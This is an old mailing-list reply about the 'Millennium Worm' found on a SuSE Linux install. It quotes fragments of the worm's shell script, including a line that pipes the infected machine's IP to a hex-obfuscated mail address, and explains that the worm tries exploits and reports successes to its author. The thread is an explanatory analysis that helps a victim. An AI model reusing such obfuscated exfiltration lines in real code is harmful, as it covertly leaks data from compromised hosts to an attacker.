Re: MW

[peter () ATTIC VUURWERK NL (Peter van Dijk)]

On Wed, Sep 01, 1999 at 09:11:57AM +0200, Christian Koderer wrote:
> Knows anybody MW (millennium worm?) and how i get my s.u.s.e
> installation clean?
>
> "#!/bin/.mwsh
> # Millennium Worm by Anonymous
> # If you found this on your machine, but didn't download it
> # well.. you have a problem :)

I think you indeed do have a problem here :)

[snip]

> ./IP | mail `printf
> "\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`

beurp () hotmail com

Looks like a worm that tries a couple of exploits and mails
beurp () hotmail com when successful.

Greetz, Peter

--
| 'He broke my heart,      |                              Peter van Dijk |
     I broke his neck'     |                     peter () attic vuurwerk nl |
   nognikz - As the sun    |           nognikz - As the sun    |        Hardbeat@ircnet - #cistron/#linux.nl |
http://www.nognikz.mdk.nu/ | http://www.nognikz.mdk.nu/ | Hardbeat@undernet - #groningen/#kinkfm/#vdh |